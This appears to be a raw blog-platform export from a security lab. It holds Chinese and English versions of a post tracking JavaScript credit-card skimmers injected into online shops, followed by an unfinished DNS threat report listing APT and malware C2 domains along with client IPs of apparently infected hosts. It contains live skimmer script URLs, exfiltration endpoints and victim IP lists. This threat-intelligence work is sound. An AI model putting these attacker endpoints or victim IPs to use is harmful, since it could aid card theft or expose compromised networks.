5月8号，我们发布文章 <信用卡数据泄漏持续进行中>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。
但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。
更新1: 启动了一个新域名：jqueryextd[.]at
对应的恶意JS链接为 “hxxps://jqueryextd.at/5c21f3dbf01e0.js”，脚本中上报地址也对应的改为了“hxxps://jqueryextd.at/gate.php"
更新2: 换了JS加载方式：从挂载JS链接改为内嵌JS代码
之前的案例中，都是通过外链一个恶意JS脚本来执行恶意脚本，现在发现黑客直接将恶意脚本JS的内容内嵌到网站代码中来执行。
另外一个黑客：代码混淆 & 新上报地址
于此同时，我们还发现了另外一个黑客的行动迹象。该黑客从今年2月初开始活动，最开始使用的外链 JS 脚本地址是 "hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"[1], 同时对应上报地址为 "hxxps://adwordstraffic.link/validation/" 。从JS代码来看，和前述的 magento-analytics[.]com/jqueryextd[.]at 如出一辙，但是域名以及IP都和前述黑客所用不同，所以我们怀疑这可能是另外一个控制者。
adwordstraffic.link A 89.32.251.136 #GEO:Iran
最近几天，该黑客所使用的域名也已经停止解析，他们开始将恶意JS代码混淆，直接嵌入受害者网站代码中，同时将上报地址也改为了裸IP的方式 "hxxp://89.32.251.136/validation/"。
当前新方式感染网站列表
InfectedWebSite Method ReportAddress
-----------------------------------------------------------------------
vezabands.com Linked_JS "https://jqueryextd.at/gate.php"
cigarhumidors-online.com Embeded_JS "https://jqueryextd.at/gate.php"
decabana.com Embeded_JS "https://jqueryextd.at/gate.php"
omejo.com Embeded_JS "https://jqueryextd.at/gate.php"
backyardmas.com Embeded_JS "https://jqueryextd.at/gate.php" [removed]
luxerwatches.ca Embeded_JS "http://89.32.251.136/validation/"
luxerwatches.com Embeded_JS "http://89.32.251.136/validation/"
bragardusa.com Embeded_JS "http://89.32.251.136/validation/"
ecompressedair.com Embeded_JS "http://89.32.251.136/validation/"
flatiron-wines.com Embeded_JS "http://89.32.251.136/validation/"
thalgousa.com Embeded_JS "http://89.32.251.136/validation/"
后续
针对该案例，我们不再公开我们的跟踪技术，但我们的 DNSMon 有能力持续跟踪，且仍将持续跟踪。
1. 域名已经失效，截止到5.14号，原始JS仍可以通过裸IP的方式获取" https://89.32.251.136/onestepcheckoutauthorizenet.js" ↩︎
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"------\n> DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。\n------\n\n\n## 黑客在行动\n\n5月8号，我们发布文章 <[信用卡数据泄漏持续进行中](https://blog.netlab.360.com/xinyongka-shuju-xielou/)>，揭露了一个通过入侵购物网站来窃取信用卡信息的案例。文章发布后不久，我们发现黑客们开始做调整，原始域名 magento-analytics[.]com 已经下线。\n\n但不久，我们的 DNSMon 系统在UTC时间 2019-05-13 凌晨时候捕捉到该黑客的2个更新，被用于同样的信用卡信息窃取。\n\n\n### 更新1: 启动了一个新域名：jqueryextd[.]at\n\n\n对应的恶意JS链接为 “hxxps://jqueryextd.at/5c21f3dbf01e0.js”，脚本中上报地址也对应的改为了“hxxps://jqueryextd.at/gate.php\"\n\n\n\n\n### 更新2: 换了JS加载方式：从挂载JS链接改为内嵌JS代码\n\n\n之前的案例中，都是通过外链一个恶意JS脚本来执行恶意脚本，现在发现黑客直接将恶意脚本JS的内容内嵌到网站代码中来执行。\n\n\n\n\n## 另外一个黑客：代码混淆 & 新上报地址\n\n于此同时，我们还发现了另外一个黑客的行动迹象。该黑客从今年2月初开始活动，最开始使用的外链 JS 脚本地址是 \"hxxp://adwordstraffic.link/onestepcheckoutccpayment.js\"[^1], 同时对应上报地址为 \"hxxps://adwordstraffic.link/validation/\" 。从JS代码来看，和前述的 magento-analytics[.]com/jqueryextd[.]at 如出一辙，但是域名以及IP都和前述黑客所用不同，所以我们怀疑这可能是另外一个控制者。\n\n```\nadwordstraffic.link A 89.32.251.136 #GEO:Iran\n```\n\n最近几天，该黑客所使用的域名也已经停止解析，他们开始将恶意JS代码混淆，直接嵌入受害者网站代码中，同时将上报地址也改为了裸IP的方式 \"hxxp://89.32.251.136/validation/\"。\n\n\n\n\n\n\n## 当前新方式感染网站列表\n\n```\nInfectedWebSite Method ReportAddress\n-----------------------------------------------------------------------\nvezabands.com Linked_JS \"https://jqueryextd.at/gate.php\"\ncigarhumidors-online.com Embeded_JS \"https://jqueryextd.at/gate.php\"\ndecabana.com Embeded_JS \"https://jqueryextd.at/gate.php\"\nomejo.com Embeded_JS \"https://jqueryextd.at/gate.php\"\nbackyardmas.com Embeded_JS \"https://jqueryextd.at/gate.php\" [removed]\nluxerwatches.ca Embeded_JS \"http://89.32.251.136/validation/\"\nluxerwatches.com Embeded_JS \"http://89.32.251.136/validation/\"\nbragardusa.com Embeded_JS \"http://89.32.251.136/validation/\"\necompressedair.com Embeded_JS \"http://89.32.251.136/validation/\"\nflatiron-wines.com Embeded_JS \"http://89.32.251.136/validation/\"\nthalgousa.com Embeded_JS \"http://89.32.251.136/validation/\"\n```\n\n\n## 后续\n\n针对该案例，我们不再公开我们的跟踪技术，但我们的 DNSMon 有能力持续跟踪，且仍将持续跟踪。\n\n\n\n\n[^1]: 域名已经失效，截止到5.14号，原始JS仍可以通过裸IP的方式获取\" https://89.32.251.136/onestepcheckoutauthorizenet.js\"\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cd945b540e02300075fab2e |
post | null | 2019-05-14T03:33:07.000Z | 63873b9a8b1c1e0007f52f4c | ongoing-credit-card-data-leak-continues | 0 | 2019-08-22T02:32:32.000Z | public | published | __GHOST_URL__/content/images/2019/05/credit.title-1.jpeg | 2019-05-14T14:57:40.000Z | Ongoing Credit Card Data Leak [Continues] | <!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can "see" what is happening in the whole network in real time from a unique perspective.</p>
</blockquote>
<hr>
<h2 id="hackerinaction">Hacker in action</h2>
<p>On May 8, we published a <a href="__GHOST_URL__/ongoing-credit-card-data-leak/">blog</a> about one malicious sitemagento-analytics[.]com stealing credit card info from online shopping users by injecting JS on E-commerce sites, soon after our blog, the original site went offline.</p>
<p>From early morning of 2019-05-13, around 4 AM(UTC), our DNSMon system picked up 2 new updates from this attacker.</p>
<h3 id="update1anewdomainnamejqueryextdat">Update1: a new domain name: jqueryextd[.]at</h3>
<p>The attacker abandoned the old magento-analytics[.]com domain and rolled out this new one jqueryextd[.]at.</p>
<p>The corresponding malicious JS link is "hxxps://jqueryextd.at/5c21f3dbf01e0.js", and the report address in the script has been changed to "hxxps://jqueryextd.at/gate.php".</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.new_domain-1.jpg" alt="update1.new_domain-1" loading="lazy"></p>
<h3 id="update2jsnowisembedded">Update2: JS now is embedded</h3>
<p>The content of the malicious JS was loaded from an external address before, now the JS script is directly embedded in the injected webpage.</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.embeded_js-1.jpg" alt="update1.embeded_js-1" loading="lazy"></p>
<p>We contacted the domain registrar DNSPod to shutdown the domain, and action was promptly taken, the malicious domain jqueryextd[.]at was taken down. But the attacker was pretty active, after about 4 hours, the domain switched to another NS provider cloudns.net and get back to life again.</p>
<h2 id="andmore">And More</h2>
<p>There are other similar events happening, for example, in early February, another malicious domain adwordstraffic[.]link used the exact same technique to steal credit card info from users, the link was "hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>, and the corresponding reporting address was "hxxps://adwordstraffic.link/validation/".</p>
<pre><code>adwordstraffic.link A 89.32.251.136 #GEO: Iran
</code></pre>
<p>In recent days, the domain has been replaced with an IP, also tweaks have been added to the JS, the code is obscured, it runs directly in the infected website pages, the reporting address now is: "hxxp://89.32.251.136/validation/".</p>
<p><img src="__GHOST_URL__/content/images/2019/05/update1.new_ip-1.jpg" alt="update1.new_ip-1" loading="lazy"></p>
<h2 id="websiteshavebeeninjectedbynewmethods">Websites have been injected by new methods</h2>
<pre><code>InfectedWebSite Method ReportAddress
-----------------------------------------------------------------------
vezabands.com Linked_JS "https://jqueryextd.at/gate.php"
cigarhumidors-online.com Embeded_JS "https://jqueryextd.at/gate.php" [fixed]
decabana.com Embeded_JS "https://jqueryextd.at/gate.php"
omejo.com Embeded_JS "https://jqueryextd.at/gate.php"
luxerwatches.ca Embeded_JS "http://89.32.251.136/validation/"
luxerwatches.com Embeded_JS "http://89.32.251.136/validation/"
bragardusa.com Embeded_JS "http://89.32.251.136/validation/"
ecompressedair.com Embeded_JS "http://89.32.251.136/validation/"
flatiron-wines.com Embeded_JS "http://89.32.251.136/validation/"
thalgousa.com Embeded_JS "http://89.32.251.136/validation/"
</code></pre>
<p>Please note as we mentioned before, our DNSMon focus mainly in China, we will not be surprised if there are more infected websites on a global scale.</p>
<h2 id="iocs">IOCs</h2>
<pre><code>magento-analytics.com
jqueryextd.at
93.187.129.249 China|Hong_Kong 55933|Cloudie_Limited
adwordstraffic.link
89.32.251.136 Iran 204213|Netmihan_Communication_Company_Ltd
</code></pre>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>Till the time of this blog, original JS script can be reached by " <a href="https://89.32.251.136/onestepcheckoutauthorizenet.js">https://89.32.251.136/onestepcheckoutauthorizenet.js</a>" <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
<!--kg-card-end: markdown--> |
DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can "see" what is happening in the whole network in real time from a unique perspective.
Hacker in action
On May 8, we published a blog about one malicious sitemagento-analytics[.]com stealing credit card info from online shopping users by injecting JS on E-commerce sites, soon after our blog, the original site went offline.
From early morning of 2019-05-13, around 4 AM(UTC), our DNSMon system picked up 2 new updates from this attacker.
Update1: a new domain name: jqueryextd[.]at
The attacker abandoned the old magento-analytics[.]com domain and rolled out this new one jqueryextd[.]at.
The corresponding malicious JS link is "hxxps://jqueryextd.at/5c21f3dbf01e0.js", and the report address in the script has been changed to "hxxps://jqueryextd.at/gate.php".
Update2: JS now is embedded
The content of the malicious JS was loaded from an external address before, now the JS script is directly embedded in the injected webpage.
We contacted the domain registrar DNSPod to shutdown the domain, and action was promptly taken, the malicious domain jqueryextd[.]at was taken down. But the attacker was pretty active, after about 4 hours, the domain switched to another NS provider cloudns.net and get back to life again.
And More
There are other similar events happening, for example, in early February, another malicious domain adwordstraffic[.]link used the exact same technique to steal credit card info from users, the link was "hxxp://adwordstraffic.link/onestepcheckoutccpayment.js"[1], and the corresponding reporting address was "hxxps://adwordstraffic.link/validation/".
adwordstraffic.link A 89.32.251.136 #GEO: Iran
In recent days, the domain has been replaced with an IP, also tweaks have been added to the JS, the code is obscured, it runs directly in the infected website pages, the reporting address now is: "hxxp://89.32.251.136/validation/".
Websites have been injected by new methods
InfectedWebSite Method ReportAddress
-----------------------------------------------------------------------
vezabands.com Linked_JS "https://jqueryextd.at/gate.php"
cigarhumidors-online.com Embeded_JS "https://jqueryextd.at/gate.php" [fixed]
decabana.com Embeded_JS "https://jqueryextd.at/gate.php"
omejo.com Embeded_JS "https://jqueryextd.at/gate.php"
luxerwatches.ca Embeded_JS "http://89.32.251.136/validation/"
luxerwatches.com Embeded_JS "http://89.32.251.136/validation/"
bragardusa.com Embeded_JS "http://89.32.251.136/validation/"
ecompressedair.com Embeded_JS "http://89.32.251.136/validation/"
flatiron-wines.com Embeded_JS "http://89.32.251.136/validation/"
thalgousa.com Embeded_JS "http://89.32.251.136/validation/"
Please note as we mentioned before, our DNSMon focus mainly in China, we will not be surprised if there are more infected websites on a global scale.
IOCs
magento-analytics.com
jqueryextd.at
93.187.129.249 China|Hong_Kong 55933|Cloudie_Limited
adwordstraffic.link
89.32.251.136 Iran 204213|Netmihan_Communication_Company_Ltd
1. Till the time of this blog, original JS script can be reached by " https://89.32.251.136/onestepcheckoutauthorizenet.js" ↩︎
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n------\n> DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can \"see\" what is happening in the whole network in real time from a unique perspective.\n------\n\n\n\n## Hacker in action\n\nOn May 8, we published a [blog](__GHOST_URL__/ongoing-credit-card-data-leak/) about one malicious sitemagento-analytics[.]com stealing credit card info from online shopping users by injecting JS on E-commerce sites, soon after our blog, the original site went offline.\n\nFrom early morning of 2019-05-13, around 4 AM(UTC), our DNSMon system picked up 2 new updates from this attacker.\n\n### Update1: a new domain name: jqueryextd[.]at\n\nThe attacker abandoned the old magento-analytics[.]com domain and rolled out this new one jqueryextd[.]at.\n\nThe corresponding malicious JS link is \"hxxps://jqueryextd.at/5c21f3dbf01e0.js\", and the report address in the script has been changed to \"hxxps://jqueryextd.at/gate.php\".\n\n\n\n### Update2: JS now is embedded\n\nThe content of the malicious JS was loaded from an external address before, now the JS script is directly embedded in the injected webpage.\n\n\n\n\nWe contacted the domain registrar DNSPod to shutdown the domain, and action was promptly taken, the malicious domain jqueryextd[.]at was taken down. But the attacker was pretty active, after about 4 hours, the domain switched to another NS provider cloudns.net and get back to life again.\n\n\n## And More\n\nThere are other similar events happening, for example, in early February, another malicious domain adwordstraffic[.]link used the exact same technique to steal credit card info from users, the link was \"hxxp://adwordstraffic.link/onestepcheckoutccpayment.js\"[^1], and the corresponding reporting address was \"hxxps://adwordstraffic.link/validation/\".\n\n```\nadwordstraffic.link A 89.32.251.136 #GEO: Iran\n```\n\nIn recent days, the domain has been replaced with an IP, also tweaks have been added to the JS, the code is obscured, it runs directly in the infected website pages, the reporting address now is: \"hxxp://89.32.251.136/validation/\".\n\n\n\n\n## Websites have been injected by new methods\n\n\n```\nInfectedWebSite Method ReportAddress\n-----------------------------------------------------------------------\nvezabands.com Linked_JS \"https://jqueryextd.at/gate.php\"\ncigarhumidors-online.com Embeded_JS \"https://jqueryextd.at/gate.php\" [fixed]\ndecabana.com Embeded_JS \"https://jqueryextd.at/gate.php\"\nomejo.com Embeded_JS \"https://jqueryextd.at/gate.php\"\nluxerwatches.ca Embeded_JS \"http://89.32.251.136/validation/\"\nluxerwatches.com Embeded_JS \"http://89.32.251.136/validation/\"\nbragardusa.com Embeded_JS \"http://89.32.251.136/validation/\"\necompressedair.com Embeded_JS \"http://89.32.251.136/validation/\"\nflatiron-wines.com Embeded_JS \"http://89.32.251.136/validation/\"\nthalgousa.com Embeded_JS \"http://89.32.251.136/validation/\"\n```\n\nPlease note as we mentioned before, our DNSMon focus mainly in China, we will not be surprised if there are more infected websites on a global scale.\n\n## IOCs\n\n```\nmagento-analytics.com\njqueryextd.at\n93.187.129.249 China|Hong_Kong 55933|Cloudie_Limited\n\nadwordstraffic.link\n89.32.251.136 Iran 204213|Netmihan_Communication_Company_Ltd\n```\n\n\n[^1]: Till the time of this blog, original JS script can be reached by \" https://89.32.251.136/onestepcheckoutauthorizenet.js\"\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cda36f340e02300075fab7a |
post | null | 2019-06-19T13:03:54.000Z | 63873b9a8b1c1e0007f52f4d | untitled | 0 | 2019-06-19T13:04:06.000Z | public | draft | null | null | (Untitled) | <!--kg-card-begin: markdown--><h1 id="dns">天津DNS数据安全分析报告</h1>
<br/>
<blockquote>
<h6 id="tjsec01">版本：tj-sec.01</h6>
<h6 id="20190617">时间：2019-06-17</h6>
<h6 id="360360cert">作者：360网络安全研究院 & 360CERT</h6>
</blockquote>
<br/>
<h2 id="">摘要</h2>
<ul>
<li>采集了 2019-06-09 日 10 点数据，共计 33650792 条DNS日志</li>
<li>排除掉DNS解析服务器日志，共计 19190292 条客户端请求DNS日志</li>
<li>其中黑域名请求共计 99095 条，占总请求的 0.516%</li>
<li>去重后域名共计 725093 个，其中黑域名共计 4424 个，占比 0.61%</li>
<li>恶意类型覆盖 6 个APT组织的活动，以及40个僵尸网络/远控/后门/木马等恶意软件家族</li>
</ul>
<hr>
<h2 id="">整体分布</h2>
<p>字段说明：</p>
<ul>
<li>TAG 是我们为恶意域名归类的标记，比如“APT.turla”表明是APT组织turla，“Malware.driverlife”表明是恶意软件家族“驱动人生”等等</li>
<li>DNS_Records_Count 是对应类别恶意域名在所有DNS请求中的请求数</li>
<li>Unique_Clients 是对应类别恶意域名的去重客户端个数</li>
<li>Unique_Domains 是对应恶意类别中在数据中出现过的去重恶意域名数</li>
<li>Infos 针对某些类别的额外解释说明</li>
</ul>
<br/>
<font size="0.6">
<table>
<thead>
<tr>
<th>TAG</th>
<th>DNS_Records_Count</th>
<th>Unique_Clients</th>
<th>Unique_Domains</th>
<th>Infos</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNSMon.gray</td>
<td>22331</td>
<td>2629</td>
<td>926</td>
<td>DNSMon自动发现的高度可疑恶意域名</td>
</tr>
<tr>
<td>Malware.miner</td>
<td>11898</td>
<td>193</td>
<td>62</td>
<td>所有的挖矿恶意软件都归为该类，不再细分</td>
</tr>
<tr>
<td>Malware.driverlife</td>
<td>10397</td>
<td>86</td>
<td>22</td>
<td></td>
</tr>
<tr>
<td>BlackHit.vt</td>
<td>9779</td>
<td>257</td>
<td>84</td>
<td></td>
</tr>
<tr>
<td>Malware.unknown</td>
<td>9587</td>
<td>410</td>
<td>58</td>
<td>正在持续跟踪的一批暂未归类恶意软件</td>
</tr>
<tr>
<td>Malware.mykings</td>
<td>5613</td>
<td>45</td>
<td>13</td>
<td></td>
</tr>
<tr>
<td>DNSMon.black</td>
<td>3734</td>
<td>178</td>
<td>48</td>
<td>DNSMon自动发现的确定恶意域名</td>
</tr>
<tr>
<td>APT.turla</td>
<td>3620</td>
<td>2</td>
<td>15</td>
<td></td>
</tr>
<tr>
<td>Malware.Morto</td>
<td>3397</td>
<td>14</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>DGA.conficker</td>
<td>2760</td>
<td>41</td>
<td>224</td>
<td></td>
</tr>
<tr>
<td>Malware.xorddos</td>
<td>2415</td>
<td>9</td>
<td>14</td>
<td></td>
</tr>
<tr>
<td>Malware.nitol</td>
<td>2248</td>
<td>20</td>
<td>11</td>
<td></td>
</tr>
<tr>
<td>Malware.2gun</td>
<td>2049</td>
<td>349</td>
<td>26</td>
<td></td>
</tr>
<tr>
<td>Malware.ramnit</td>
<td>1985</td>
<td>246</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>Malware.nadrac</td>
<td>1416</td>
<td>16</td>
<td>5</td>
<td></td>
</tr>
<tr>
<td>Malware.mirai</td>
<td>1404</td>
<td>4</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>Malware.elknot</td>
<td>1325</td>
<td>5</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>Malware.storm</td>
<td>1301</td>
<td>23</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>Malware.gh0st</td>
<td>1066</td>
<td>17</td>
<td>11</td>
<td></td>
</tr>
<tr>
<td>Malware.zombieboy</td>
<td>472</td>
<td>3</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Malware.artemis</td>
<td>445</td>
<td>37</td>
<td>9</td>
<td></td>
</tr>
<tr>
<td>WebSafe.coinhive</td>
<td>299</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.zusy</td>
<td>298</td>
<td>1</td>
<td>286</td>
<td></td>
</tr>
<tr>
<td>Malware.darkshell</td>
<td>297</td>
<td>3</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.sality</td>
<td>246</td>
<td>30</td>
<td>33</td>
<td></td>
</tr>
<tr>
<td>Malware.wannycry</td>
<td>221</td>
<td>5</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Malware.NuggetPhantom</td>
<td>174</td>
<td>26</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Malware.remcos</td>
<td>150</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.wannacry</td>
<td>122</td>
<td>8</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Malware.DUNIHi</td>
<td>107</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>APT.irontiger</td>
<td>98</td>
<td>1</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>BlackHit.nd</td>
<td>79</td>
<td>19</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>APT.unclassified</td>
<td>76</td>
<td>38</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DGA.hardcoded_fake_dga</td>
<td>72</td>
<td>31</td>
<td>30</td>
<td></td>
</tr>
<tr>
<td>Malware.dbnt</td>
<td>44</td>
<td>18</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Malware.dsl</td>
<td>32</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.Mylobot</td>
<td>20</td>
<td>5</td>
<td>13</td>
<td></td>
</tr>
<tr>
<td>WebSafe.ad_flush</td>
<td>16</td>
<td>14</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>Malware.bondat</td>
<td>12</td>
<td>3</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.posioncake</td>
<td>11</td>
<td>4</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Malware.Dorkbot</td>
<td>9</td>
<td>1</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>APT.bitter</td>
<td>8</td>
<td>1</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>DGA.popad</td>
<td>8</td>
<td>6</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>APT.oceanlotus</td>
<td>7</td>
<td>1</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>Malware.barhera</td>
<td>6</td>
<td>2</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>Malware.irc3</td>
<td>4</td>
<td>1</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>APT.menupass</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.dy2004</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.loki</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.rcshark</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.humpler</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.flyboy</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.woring</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Malware.dofloo</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
</tr>
</tbody>
</table>
</font>
<hr>
<h2 id="">分类描述</h2>
<p>由于恶意类型比较多且繁杂，分类描述中只汇总了 APT 类 和 Malware 类危害较大的类别。</p>
<p>"IOCs" 列出在数据中出现过的对应类别的恶意域名，“Clients”是数据中出现过的访问了恶意域名的客户端IP，按照访问次数从大到小排列，访问次数越多，可以认为是该IP后面对应的恶意软件越活跃。客户端IP有可能是机构/宽带出口IP，会标记类别 NAT，有可能是机房IP，会标记类别IDC。</p>
<p>有些访问可能是安全研究人员的测试性访问，这需要具体IP的归属来判断，通过当前数据不能区分，如果后续追溯，需要注意。</p>
<h3 id="apt">APT 类</h3>
<p>当前一小时采样数据中，共发现6个公开的APT组织的活动迹象，共涉及失陷客户端XXX个，其中可能是政府单位的YYY个，需要高度关注。</p>
<h4 id="aptbitter">APT.bitter</h4>
<p>蔓灵花（T-APT-17、BITTER）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织，该APT组织为目前活跃的针对境内目标进行攻击的境外APT组织之一。该组织主要针对政府、军工业、电力、核等单位进行攻击，窃取敏感资料，具有强烈的政治背景。该组织最早在2016由美国安全公司Forcepoint进行了披露，并且命名为“BITTER”。</p>
<p>该组织主要采用鱼叉钓鱼的方式，对相关目标单位的个人直接发送嵌入了攻击诱饵的钓鱼邮件。此外，为了提高成功率，也会先对目标发送安全提示相关的钓鱼邮件，诱使被钓鱼用户修改邮件账户密码，从而获取用户的邮箱密码，而后再用被控制的邮箱继续对企业内的其他人进行嵌入攻击诱饵的钓鱼邮件。</p>
<p>详细报告参见 <a href="https://www.freebuf.com/articles/database/192726.html">https://www.freebuf.com/articles/database/192726.html </a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>hewle.kielsoservice.net
spring.tulipnetworks.net
aroundtheworld123.net
thepandaservices.nsiagenthoster.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
8 60.29.208.115
</code></pre>
</br>
<h4 id="aptirontiger">APT.irontiger</h4>
<p>铁虎（Iron Tiger）APT行动背后的“熊猫使者”APT组织，被怀疑（必须）是天朝的一个黑客组织，他们专门以政府和相关领域的技术部门作为其主要的攻击目标，并尝试从这些组织和机构中监视和窃取高价值的数据。</p>
<p>该恶意软件的主要攻击目标是亚洲和美国的政府组织、科技公司、教育和通信企业等。最早的攻击是从附有恶意VBS文件的垃圾邮件开始的，VBS文件的作用是从分布式服务器下载恶意payload的下载器。</p>
<p>详细报告参见<a href="https://zhuanlan.zhihu.com/p/33636123">https://zhuanlan.zhihu.com/p/33636123</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>dll.pzchao.com
zll855.gicp.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
98 60.28.230.130 NAT
</code></pre>
</br>
<h4 id="aptunclassified">APT.unclassified</h4>
<p>详细报告参见 <a href="https://www.anquanke.com/post/id/167077">https://www.anquanke.com/post/id/167077</a>，<br>
<a href="http://www.mottoin.com/detail/3398.html">http://www.mottoin.com/detail/3398.html</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>ftp.byethost10.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
10 117.13.67.150 NAT
3 218.69.72.38 NAT
2 218.68.156.153 NAT
2 218.68.62.28 NAT
2 218.67.252.149 NAT
2 218.69.6.74 NAT
2 117.13.3.103 NAT
1 221.196.149.170 NAT
1 60.24.88.214 NAT
1 60.30.254.92 NAT
1 125.37.184.21 NAT
1 125.36.33.16 NAT
1 111.165.222.113 NAT
1 60.27.152.188 NAT
1 221.197.154.8 NAT
1 60.24.142.12 NAT
1 60.26.72.241 NAT
1 111.163.144.208 NAT
1 111.33.50.98 NAT
1 111.160.43.14 NAT
1 117.15.191.151 NAT
1 111.162.212.244 NAT
1 117.11.117.145 NAT
1 117.10.138.132 NAT
1 60.27.193.224 NAT
1 117.13.192.197 NAT
1 117.14.147.119 NAT
1 218.68.148.99 NAT
1 125.36.107.131 NAT
1 111.164.215.206 NAT
1 211.94.237.146 NAT
1 111.167.9.209 NAT
1 117.15.190.49 NAT
1 218.68.108.222 NAT
</code></pre>
</br>
<h4 id="aptmenupass">APT.menupass</h4>
<p>详细报告参见 <a href="https://zhuanlan.zhihu.com/p/52960249">https://zhuanlan.zhihu.com/p/52960249</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>cia.toh.info
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
4 117.14.156.22 NAT
</code></pre>
</br>
<h4 id="aptturla">APT.turla</h4>
<p>90年代著名网络间谍组织“月光迷宫”（Moonlight Maze）已经演变成了今天的Turla APT，它们都具有或多或少相同的技术手段，且共同背景就是：与俄罗斯政府黑客相关。<br>
以中国和美国等地的政府、军事、大使馆、研究和制药组职为入侵目标，之前也制作过Linux 木马。据说他们是受到俄罗斯政府支持。虽然他们会有行动，但执法机关一直没法知道他们所在何方，因为他们善于隐藏自己。</p>
<p>在网络入侵活动中，黑客一般会利用中转或跳板机作为攻击代理，防止溯源调查，而“月光迷宫”入侵者也是最早采用该技术的攻击者。他们利用很多国家的一系列大学、图书馆等存在系统漏洞的机构电脑作为中转跳板，存储攻击工具，发起网络攻击，以此迷惑调查行为。</p>
<p>详细报告参见 <a href="https://blog.csdn.net/DJY1992/article/details/88994695">https://blog.csdn.net/DJY1992/article/details/88994695</a></p>
<h5 id="iocs">IOCs</h5>
<pre><code>music-world.servemp3.com
forum.sytes.net
tiger.got-game.org
x-files.zapto.org
health-everyday.faqserv.com
fifa-rules.25u.com
weather-online.hopto.org
hockey-news.servehttp.com
olympik-blog.4dq.com
top-facts.sytes.net
supernews.sytes.net
cars-online.zapto.org
nhl-blog.servegame.com
marketplace.servehttp.com
newutils.3utilities.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
3495 218.69.186.173 NAT
125 218.69.133.129 NAT
</code></pre>
</br>
<h4 id="aptoceanlotus">APT.oceanlotus</h4>
<p>海莲花（OceanLotus）也叫APT32或APT-C-00，是一个长期针对中国及其他东亚国家（地区）政府、科研机构、海运企业等领域进行攻击的APT组织。</p>
